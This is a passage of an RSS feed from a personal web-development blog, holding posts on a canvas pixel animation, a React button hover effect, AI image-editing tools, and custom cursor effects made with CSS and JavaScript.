        <span class="hljs-keyword">var</span> total = { <span class="hljs-attr">r</span>: <span class="hljs-number">0</span>, <span class="hljs-attr">g</span>: <span class="hljs-number">0</span>, <span class="hljs-attr">b</span>: <span class="hljs-number">0</span>, <span class="hljs-attr">count</span>: <span class="hljs-number">0</span> };
        <span class="hljs-keyword">for</span> (<span class="hljs-keyword">var</span> i = <span class="hljs-number">0</span>; i &lt; size; i++) {
          <span class="hljs-keyword">for</span> (<span class="hljs-keyword">var</span> j = <span class="hljs-number">0</span>; j &lt; size; j++) {
            <span class="hljs-keyword">var</span> idx = (x + i + (y + j) * imgData.width) * <span class="hljs-number">4</span>;
            total.r += imgData.data[idx + <span class="hljs-number">0</span>];
            total.g += imgData.data[idx + <span class="hljs-number">1</span>];
            total.b += imgData.data[idx + <span class="hljs-number">2</span>];
            total.count++;
          }
        }
        <span class="hljs-keyword">return</span> {
          <span class="hljs-attr">r</span>: (total.r / total.count) | <span class="hljs-number">0</span>,
          <span class="hljs-attr">g</span>: (total.g / total.count) | <span class="hljs-number">0</span>,
          <span class="hljs-attr">b</span>: (total.b / total.count) | <span class="hljs-number">0</span>,
        };
      }
    </span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span>
</code></pre>
<h2 id="heading-the-conclusion">The Conclusion</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1717330662175/6c56b263-b7ec-4ff5-88e5-834459a41e95.png" alt class="image--center mx-auto" /></p>
<p>I added this cool animated pixel effect to my portfolio site. It makes the profile picture come to life when you hover over it. Check it out at <a target="_blank" href="http://daviddodda.com">daviddodda.com</a>.</p>
<p>and shutout to <a target="_blank" href="https://daviddodda.com">@d</a><a target="_blank" href="https://x.com/domi_kissi">omi_kissi</a> and <a target="_blank" href="https://x.com/inCleveri">@inCleveri</a> for the inspiration.</p>
]]></content:encoded></item><item><title><![CDATA[Cool Btn Hover Animation! (react)]]></title><description><![CDATA[IDK, just some cool btn hover animation.  
yoinked it from stream elements landing page.
https://codesandbox.io/embed/p7gfct?view=preview&module=%2Fsrc%2FApp.js
 
import { css } from "@emotion/css";
import { useState } from "react";

const number_of_...]]></description><link>https://blog.daviddodda.com/cool-btn-hover-animation-react</link><guid isPermaLink="true">https://blog.daviddodda.com/cool-btn-hover-animation-react</guid><category><![CDATA[hover animation]]></category><category><![CDATA[HTML]]></category><category><![CDATA[button]]></category><dc:creator><![CDATA[David Dodda]]></dc:creator><pubDate>Sat, 02 Mar 2024 01:26:14 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1709342582606/8991fc56-e879-40a2-a16e-10370b6e638d.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>IDK, just some cool btn hover animation.  </p>
<p>yoinked it from stream elements landing page.</p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://codesandbox.io/embed/p7gfct?view=preview&amp;module=%2Fsrc%2FApp.js">https://codesandbox.io/embed/p7gfct?view=preview&amp;module=%2Fsrc%2FApp.js</a></div>
<p> </p>
<pre><code class="lang-javascript"><span class="hljs-keyword">import</span> { css } <span class="hljs-keyword">from</span> <span class="hljs-string">"@emotion/css"</span>;
<span class="hljs-keyword">import</span> { useState } <span class="hljs-keyword">from</span> <span class="hljs-string">"react"</span>;

<span class="hljs-keyword">const</span> number_of_internal_squares = <span class="hljs-number">10</span>;

<span class="hljs-comment">/**
 * Btn is a functional component that renders a button with hover effects.
 *
 * @param {Object} props - The properties passed to the component.
 * @param {string} props.bg_color - The background color of the button.
 * @param {string} props.text_color - The color of the text in the button.
 * @param {string} props.text - The text displayed in the button.
 * @param {number} props.width - The width of the button.
 * @param {number} props.height - The height of the button.
 *
 * @returns {JSX.Element} The rendered button component.
 */</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">Btn</span>(<span class="hljs-params">props</span>) </span>{
  <span class="hljs-keyword">const</span> bg_color = props.bg_color;
  <span class="hljs-keyword">const</span> text_color = props.text_color;
  <span class="hljs-keyword">const</span> text = props.text;

  <span class="hljs-keyword">const</span> [is_hover, setIsHover] = useState(<span class="hljs-literal">false</span>);

  <span class="hljs-keyword">return</span> (
    <span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">a</span>
      <span class="hljs-attr">className</span>=<span class="hljs-string">{css</span>`
        <span class="hljs-attr">width:</span> ${<span class="hljs-attr">props.width</span>};
        <span class="hljs-attr">height:</span> ${<span class="hljs-attr">props.height</span>};
        <span class="hljs-attr">color:</span> ${<span class="hljs-attr">text_color</span>};
        <span class="hljs-attr">font-size:</span> <span class="hljs-attr">2em</span>;
        <span class="hljs-attr">display:</span> <span class="hljs-attr">flex</span>;
        <span class="hljs-attr">justify-content:</span> <span class="hljs-attr">center</span>;
        <span class="hljs-attr">align-items:</span> <span class="hljs-attr">center</span>;
        <span class="hljs-attr">position:</span> <span class="hljs-attr">relative</span>;
        <span class="hljs-attr">transition:</span> <span class="hljs-attr">all</span> <span class="hljs-attr">0.2s</span>;
        <span class="hljs-attr">:hover</span> {
          <span class="hljs-attr">cursor:</span> <span class="hljs-attr">pointer</span>;
          <span class="hljs-attr">background-color:</span> #<span class="hljs-attr">000</span>;
        }
      `}
      <span class="hljs-attr">onMouseEnter</span>=<span class="hljs-string">{()</span> =&gt;</span> setIsHover(true)}
      onMouseLeave={() =&gt; setIsHover(false)}
    &gt;
      <span class="hljs-tag">&lt;<span class="hljs-name">div</span>
        <span class="hljs-attr">className</span>=<span class="hljs-string">{css</span>`
          <span class="hljs-attr">position:</span> <span class="hljs-attr">fixed</span>;
          <span class="hljs-attr">top:</span> <span class="hljs-attr">45</span>%;
          <span class="hljs-attr">left:</span> <span class="hljs-attr">50</span>% <span class="hljs-attr">-</span> ${<span class="hljs-attr">props.width</span> / <span class="hljs-attr">2</span>}<span class="hljs-attr">px</span>;
          <span class="hljs-attr">display:</span> <span class="hljs-attr">flex</span>;
          <span class="hljs-attr">flex-direction:</span> <span class="hljs-attr">column</span>;
          <span class="hljs-attr">z-index:</span> <span class="hljs-attr">11</span>;
        `}
      &gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">div</span>
          <span class="hljs-attr">className</span>=<span class="hljs-string">{css</span>`
            <span class="hljs-attr">font-size:</span> <span class="hljs-attr">1.75em</span>;
            <span class="hljs-attr">font-weight:</span> <span class="hljs-attr">bold</span>;
            <span class="hljs-attr">text-transform:</span> <span class="hljs-attr">uppercase</span>;
            <span class="hljs-attr">font-family:</span> "<span class="hljs-attr">Work</span> <span class="hljs-attr">Sans</span>", <span class="hljs-attr">sans-serif</span>;
          `}
        &gt;</span>
          {text}
        <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">div</span>
          <span class="hljs-attr">className</span>=<span class="hljs-string">{css</span>`
            <span class="hljs-attr">font-size:</span> <span class="hljs-attr">0.5em</span>;
            <span class="hljs-attr">margin-top:</span> ${<span class="hljs-attr">is_hover</span> ? "<span class="hljs-attr">0px</span>" <span class="hljs-attr">:</span> "<span class="hljs-attr">40px</span>"};
            <span class="hljs-attr">height:</span> ${<span class="hljs-attr">is_hover</span> ? "<span class="hljs-attr">0px</span>" <span class="hljs-attr">:</span> "<span class="hljs-attr">auto</span>"};
            <span class="hljs-attr">overflow:</span> <span class="hljs-attr">hidden</span>;
            <span class="hljs-attr">transition:</span> <span class="hljs-attr">all</span> <span class="hljs-attr">0.3s</span> <span class="hljs-attr">ease</span> <span class="hljs-attr">0s</span>;
          `}
        &gt;</span>
          Some other desctiption
        <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">div</span>
          <span class="hljs-attr">className</span>=<span class="hljs-string">{css</span>`
            <span class="hljs-attr">margin-top:</span> ${<span class="hljs-attr">is_hover</span> ? "<span class="hljs-attr">-10px</span>" <span class="hljs-attr">:</span> "<span class="hljs-attr">20px</span>"};
            <span class="hljs-attr">font-size:</span> <span class="hljs-attr">3em</span>;
            <span class="hljs-attr">font-weight:</span> <span class="hljs-attr">bold</span>;
          `}
        &gt;</span>
          <span class="hljs-symbol">&amp;#8594;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
      <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
      {/* DON'T PANIC, the below line is just the range() function in python. */}
      {[...Array(number_of_internal_squares).keys()].map((i) =&gt; {
        return (
          <span class="hljs-tag">&lt;<span class="hljs-name">span</span>
            <span class="hljs-attr">className</span>=<span class="hljs-string">{css</span>`
              <span class="hljs-attr">display:</span> <span class="hljs-attr">block</span>;
              <span class="hljs-attr">position:</span> <span class="hljs-attr">absolute</span>;
              <span class="hljs-attr">inset:</span> ${<span class="hljs-attr">i</span> * <span class="hljs-attr">3.5</span>}%;
              <span class="hljs-attr">background-color:</span> ${<span class="hljs-attr">bg_color</span>};
              <span class="hljs-attr">opacity:</span> ${<span class="hljs-attr">is_hover</span> ? (<span class="hljs-attr">i</span> != <span class="hljs-string">9</span> ? (<span class="hljs-attr">i</span> == <span class="hljs-string">0</span> ? <span class="hljs-attr">0</span> <span class="hljs-attr">:</span> <span class="hljs-attr">0.25</span>) <span class="hljs-attr">:</span> <span class="hljs-attr">1</span>) <span class="hljs-attr">:</span> <span class="hljs-attr">1</span>};
              <span class="hljs-attr">transition:</span> <span class="hljs-attr">opacity</span> <span class="hljs-attr">0.3s</span> <span class="hljs-attr">ease</span> <span class="hljs-attr">0s</span>;
            `}
          &gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">span</span>&gt;</span>
        );
      })}
    <span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span></span>
  );
}

<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> Btn;
</code></pre>
]]></content:encoded></item><item><title><![CDATA[Beyond Generation: Getting the Most Out of AI-Generated Images]]></title><description><![CDATA[Welcome to the whimsical world of AI-generated images, where the only thing more exciting than creating them is jazzing them up! Let's embark on a pixel-perfect journey with four fab tools: Cleanup.pictures, Remove.bg, Imgupscaler.com, and Vectorizer...]]></description><link>https://blog.daviddodda.com/beyond-generation-getting-the-most-out-of-ai-generated-images</link><guid isPermaLink="true">https://blog.daviddodda.com/beyond-generation-getting-the-most-out-of-ai-generated-images</guid><category><![CDATA[AI-generated images]]></category><category><![CDATA[image enhancement]]></category><category><![CDATA[AI]]></category><category><![CDATA[ai-image-generator]]></category><dc:creator><![CDATA[David Dodda]]></dc:creator><pubDate>Mon, 25 Dec 2023 09:10:28 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1703494778688/f560bbd3-7872-402b-883b-5db1f0da9e31.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Welcome to the whimsical world of AI-generated images, where the only thing more exciting than creating them is jazzing them up! Let's embark on a pixel-perfect journey with four fab tools: <a target="_blank" href="http://Cleanup.pictures">Cleanup.pictures</a>, <a target="_blank" href="http://Remove.bg">Remove.bg</a>, <a target="_blank" href="http://Imgupscaler.com">Imgupscaler.com</a>, and <a target="_blank" href="http://Vectorizer.ai">Vectorizer.ai</a>.</p>
<h2 id="heading-1-cleanup-with-a-click-cleanuppictureshttpcleanuppictures"><strong>1. Cleanup with a 'Click' -</strong> <a target="_blank" href="http://Cleanup.pictures"><strong>Cleanup.pictures</strong></a></h2>
<p>First up is <a target="_blank" href="http://Cleanup.pictures">Cleanup.pictures</a>, the digital equivalent of a magic wand. Wave goodbye to those photobombing squirrels or pesky power lines. This tool uses AI magic to make unwanted elements vanish - abraclean-dabra!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1703529236152/03bb0eef-17b3-4590-8bcf-9f58f7fac986.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-2-background-begone-removebghttpremovebg"><strong>2. Background Begone! -</strong> <a target="_blank" href="http://Remove.bg"><strong>Remove.bg</strong></a></h2>
<p>Next, <a target="_blank" href="http://Remove.bg">Remove.bg</a> takes the stage. It's like a magician who makes backgrounds disappear in a poof! Perfect for when you want your subject to stand out, not the random lamp post in the background. It’s so easy, you might say the backgrounds just 'PNG-out' of existence.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1703529247136/b7684e4d-30f3-4bad-b8f3-46c53e8be7ed.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-3-size-matters-imgupscalercomhttpimgupscalercom"><strong>3. Size Matters -</strong> <a target="_blank" href="http://Imgupscaler.com"><strong>Imgupscaler.com</strong></a></h2>
<p>Then there's <a target="_blank" href="http://Imgupscaler.com">Imgupscaler.com</a>, your fairy godmother for small, blurry images. It transforms your 'Cinderella' pixels into a stunning 4K 'ball-ready' vision. No more squinting at pixelated pictures - it's time for a clarity party!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1703529255032/6b7b41f5-1dd2-491e-9d33-9bc9989e27e9.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-4-vectorizing-like-a-pro-vectorizeraihttpvectorizerai"><strong>4. Vectorizing Like a Pro -</strong> <a target="_blank" href="http://Vectorizer.ai"><strong>Vectorizer.ai</strong></a></h2>
<p>Finally, <a target="_blank" href="http://Vectorizer.ai">Vectorizer.ai</a> turns your images into vectors, the superheroes of scalability. Whether you're going as small as an ant or as big as a billboard, these vectors won't lose their cool. It's like yoga for your images - stretch without the stress!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1703529268876/74df9beb-3809-41d0-95c6-a05abd09768d.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-conclusion"><strong>Conclusion</strong></h2>
<p>So there you have it, a journey from pixel purgatory to digital paradise. Remember, with these tools in your arsenal, your AI-generated images can go from 'meh' to 'masterpiece' in a few fun-filled steps.</p>
]]></content:encoded></item><item><title><![CDATA[Custom Cursors For The Web: Enhance UX with CSS & JS]]></title><description><![CDATA[In the world of web design, it's the small details that make a big difference. Customizing the cursor and adding a follower animation can significantly boost the interactivity and visual appeal of your website. This blog post will guide you through a...]]></description><link>https://blog.daviddodda.com/custom-cursors-for-the-web-enhance-ux-with-css-js</link><guid isPermaLink="true">https://blog.daviddodda.com/custom-cursors-for-the-web-enhance-ux-with-css-js</guid><category><![CDATA[CSS]]></category><category><![CDATA[js]]></category><category><![CDATA[HTML]]></category><category><![CDATA[cursor]]></category><dc:creator><![CDATA[David Dodda]]></dc:creator><pubDate>Sun, 24 Dec 2023 15:30:01 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1703431375699/63181b16-4cec-4068-bc7a-93e066ac0802.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In the world of web design, it's the small details that make a big difference. Customizing the cursor and adding a follower animation can significantly boost the interactivity and visual appeal of your website. This blog post will guide you through adding a custom cursor along with a follower effect using CSS and JavaScript.</p>
<h2 id="heading-adding-a-basic-custom-cursor"><strong>Adding a Basic Custom Cursor</strong></h2>
<h3 id="heading-step-1-html-setup"><strong>Step 1: HTML Setup</strong></h3>
<p>Start by adding two <code>div</code> elements in your HTML, one for the cursor and another for the cursor follower:</p>
<pre><code class="lang-xml">​
<span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"cursor default-cursor"</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"cursor"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"cursor-follower default-cursor-follower"</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"cursor-follower"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
</code></pre>
<p>These elements will serve as our custom cursor and its follower.</p>
<h3 id="heading-step-2-css-styling"><strong>Step 2: CSS Styling</strong></h3>
<p>Next, style both the cursor and the follower in CSS:</p>
<pre><code class="lang-css">​
<span class="hljs-selector-class">.cursor</span>, <span class="hljs-selector-class">.cursor-follower</span> {
    <span class="hljs-attribute">border-radius</span>: <span class="hljs-number">50%</span>;
    <span class="hljs-attribute">position</span>: fixed;
    <span class="hljs-attribute">transform</span>: <span class="hljs-built_in">translate</span>(-<span class="hljs-number">50%</span>, -<span class="hljs-number">50%</span>);
    <span class="hljs-attribute">pointer-events</span>: none;
}
​
<span class="hljs-selector-class">.default-cursor</span> {
    <span class="hljs-attribute">width</span>: <span class="hljs-number">8px</span>;
    <span class="hljs-attribute">height</span>: <span class="hljs-number">8px</span>;
    <span class="hljs-attribute">background-color</span>: <span class="hljs-built_in">var</span>(--accent-color);
    <span class="hljs-attribute">z-index</span>: <span class="hljs-number">9999</span>;
}
​
<span class="hljs-selector-class">.default-cursor-follower</span> {
    <span class="hljs-attribute">width</span>: <span class="hljs-number">36px</span>;
    <span class="hljs-attribute">height</span>: <span class="hljs-number">36px</span>;
    <span class="hljs-attribute">background-color</span>: <span class="hljs-built_in">var</span>(--accent-color);
    <span class="hljs-attribute">opacity</span>: <span class="hljs-number">0.2</span>;
    <span class="hljs-attribute">z-index</span>: <span class="hljs-number">999</span>;
}
</code></pre>
<h3 id="heading-step-3-javascript-interactivity"><strong>Step 3: JavaScript Interactivity</strong></h3>
<p>After setting up the HTML and CSS for the custom cursor and its follower, we need to add an <code>animate</code> function in JavaScript. This function will create a smooth following motion for the cursor follower, enhancing the interactive experience.</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">let</span> cursorFollower = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">"cursor-follower"</span>);
<span class="hljs-keyword">let</span> cursor = { <span class="hljs-attr">x</span>: <span class="hljs-number">0</span>, <span class="hljs-attr">y</span>: <span class="hljs-number">0</span> };
<span class="hljs-keyword">let</span> follower = { <span class="hljs-attr">x</span>: <span class="hljs-number">0</span>, <span class="hljs-attr">y</span>: <span class="hljs-number">0</span>, <span class="hljs-attr">vx</span>: <span class="hljs-number">0</span>, <span class="hljs-attr">vy</span>: <span class="hljs-number">0</span> };
​
<span class="hljs-keyword">const</span> stiffness = <span class="hljs-number">0.07</span>; <span class="hljs-comment">// Spring stiffness</span>
<span class="hljs-keyword">const</span> damping = <span class="hljs-number">0.1</span>; <span class="hljs-comment">// Damping coefficient</span>
​
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">animate</span>(<span class="hljs-params"></span>) </span>{
    <span class="hljs-comment">// Calculate spring force</span>
    <span class="hljs-keyword">let</span> dx = cursor.x - follower.x;
    <span class="hljs-keyword">let</span> dy = cursor.y - follower.y;
    <span class="hljs-keyword">let</span> springForceX = dx * stiffness;
    <span class="hljs-keyword">let</span> springForceY = dy * stiffness;
​
    <span class="hljs-comment">// Damping</span>
    follower.vx *= damping;
    follower.vy *= damping;
​
    <span class="hljs-comment">// Apply forces to velocity</span>
    follower.vx += springForceX;
    follower.vy += springForceY;
​
    <span class="hljs-comment">// Update position</span>
    follower.x += follower.vx;
    follower.y += follower.vy;
​
    <span class="hljs-comment">// Apply position to the DOM element</span>
    cursorFollower.style.left = follower.x + <span class="hljs-string">"px"</span>;
    cursorFollower.style.top = follower.y + <span class="hljs-string">"px"</span>;
​
    requestAnimationFrame(animate);
}
​
animate();
</code></pre>
<p>Use JavaScript to make the custom cursor track the mouse movement:</p>
<pre><code class="lang-javascript"><span class="hljs-built_in">document</span>.addEventListener(<span class="hljs-string">"mousemove"</span>, <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">e</span>) </span>{
    cursor.x = e.clientX;
    cursor.y = e.clientY;
​
    <span class="hljs-keyword">var</span> cursor_el = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">"cursor"</span>);
    cursor_el.style.left = e.clientX + <span class="hljs-string">"px"</span>;
    cursor_el.style.top = e.clientY + <span class="hljs-string">"px"</span>;
});
</code></pre>
<p>This script enables the cursor and follower to follow the mouse movements on the screen.</p>
<h2 id="heading-hover-animation-with-different-links-and-font-awesome-icons"><strong>Hover Animation with Different Links and Font Awesome Icons</strong></h2>
<p>Enhance your cursor's interactivity with hover animations over links by incorporating Font Awesome icons.</p>
<h3 id="heading-step-1-include-font-awesome"><strong>Step 1: Include Font Awesome</strong></h3>
<p>First, ensure you've included Font Awesome in your HTML. Here, we use version 4:</p>
<pre><code class="lang-xml">​
<span class="hljs-tag">&lt;<span class="hljs-name">link</span> <span class="hljs-attr">rel</span>=<span class="hljs-string">"stylesheet"</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"</span>&gt;</span>
</code></pre>
<h3 id="heading-step-2-html-link-setup-with-font-awesome-icons"><strong>Step 2: HTML Link Setup with Font Awesome Icons</strong></h3>
<p>Modify your HTML links to include <code>data-</code> attributes that reference specific Font Awesome icons. It's important to use the correct icon name as per Font Awesome version 4:</p>
<pre><code class="lang-xml">​
<span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"#"</span> <span class="hljs-attr">data-cursor</span>=<span class="hljs-string">"link"</span> <span class="hljs-attr">data-cursoricon</span>=<span class="hljs-string">"twitter"</span>&gt;</span>Twitter<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span>
</code></pre>
<p>In this example, <code>data-cursoricon="twitter"</code> will correspond to the Twitter icon in Font Awesome v4.</p>
<h3 id="heading-step-3-find-correct-icon-names"><strong>Step 3: Find Correct Icon Names</strong></h3>
<p>To ensure you are using the correct icon names from Font Awesome version 4, visit their website and search for icons. The icon name should exactly match the value in the <code>data-cursoricon</code> attribute. Font Awesome v4 Icons.</p>
<h3 id="heading-step-4-css-for-hover-state"><strong>Step 4: CSS for Hover State</strong></h3>
<p>Add CSS for the hover state of the cursor. When hovering over a link, the cursor will change its appearance and include the Font Awesome icon:</p>
<pre><code class="lang-css">​
<span class="hljs-selector-class">.link-cursor</span> {
    <span class="hljs-attribute">width</span>: <span class="hljs-number">32px</span>;
    <span class="hljs-attribute">height</span>: <span class="hljs-number">32px</span>;
    <span class="hljs-attribute">background-color</span>: <span class="hljs-built_in">var</span>(--secondary-color);
    <span class="hljs-attribute">z-index</span>: <span class="hljs-number">9999</span>;
    <span class="hljs-attribute">color</span>: <span class="hljs-built_in">var</span>(--primary-color);
}

<span class="hljs-selector-class">.link-cursor-follower</span> {
    <span class="hljs-attribute">width</span>: <span class="hljs-number">52px</span>;
    <span class="hljs-attribute">height</span>: <span class="hljs-number">52px</span>;
    <span class="hljs-attribute">background-color</span>: <span class="hljs-built_in">var</span>(--secondary-color);
    <span class="hljs-attribute">opacity</span>: <span class="hljs-number">1</span>;
}

<span class="hljs-selector-class">.link-cursor</span> <span class="hljs-selector-tag">i</span> {
    <span class="hljs-attribute">display</span>: block;
    <span class="hljs-attribute">font-size</span>: <span class="hljs-number">1.2rem</span>;
}
</code></pre>
<h3 id="heading-step-5-javascript-for-dynamic-hover-effects"><strong>Step 5: JavaScript for Dynamic Hover Effects</strong></h3>
<p>Use JavaScript to change the cursor's appearance based on the hovered link. The cursor will dynamically display the corresponding Font Awesome icon:</p>
<pre><code class="lang-javascript">​
<span class="hljs-built_in">document</span>.addEventListener(<span class="hljs-string">"mousemove"</span>, <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">e</span>) </span>{
    cursor.x = e.clientX;
    cursor.y = e.clientY;
​
    <span class="hljs-keyword">var</span> cursor_el = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">"cursor"</span>);

    cursor_el.style.left = e.clientX + <span class="hljs-string">"px"</span>;
    cursor_el.style.top = e.clientY + <span class="hljs-string">"px"</span>;
​
    <span class="hljs-keyword">if</span> (e.target.dataset.cursor == <span class="hljs-string">"link"</span>) {
        cursor_el.classList.add(<span class="hljs-string">"link-cursor"</span>);
        cursor_el.classList.remove(<span class="hljs-string">"default-cursor"</span>);

        follower_el.classList.add(<span class="hljs-string">"link-cursor-follower"</span>);
        cursorFollower.classList.remove(<span class="hljs-string">"default-cursor-follower"</span>);
        cursor_el.innerHTML = <span class="hljs-string">`&lt;i class="fa fa-<span class="hljs-subst">${e.target.dataset.cursoricon}</span>"&gt;&lt;/i&gt;`</span>;
    } <span class="hljs-keyword">else</span> {
        cursor_el.classList.add(<span class="hljs-string">"default-cursor"</span>);
        cursor_el.classList.remove(<span class="hljs-string">"link-cursor"</span>);

        cursorFollower.classList.add(<span class="hljs-string">"default-cursor-follower"</span>);
        follower_el.classList.remove(<span class="hljs-string">"link-cursor-follower"</span>);
        cursor_el.innerHTML = <span class="hljs-string">""</span>;
    }
});
</code></pre>
<p>With these steps, your website's cursor will not only follow the mouse but also change its appearance based on the hovered link, along with a follower enhancing the visual effect.</p>
<h2 id="heading-conclusion"><strong>Conclusion</strong></h2>
<p>Custom cursor animations and follower effects offer a unique and creative way to boost user engagement on your website. By following the steps outlined above, you not only add these dynamic features but also open up a world of customization. Feel free to experiment and tweak the existing CSS and JavaScript to truly make these animations and effects your own. Whether it's adjusting the animation speed, changing colors, or experimenting with different shapes and sizes, the possibilities are endless. Dive in and give your site a personalized touch that reflects your style.</p>
<h2 id="heading-code-pen">Code Pen</h2>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://codepen.io/davidreddy293/pen/gOEbbeZ">https://codepen.io/davidreddy293/pen/gOEbbeZ</a></div>
]]></content:encoded></item></channel></rss>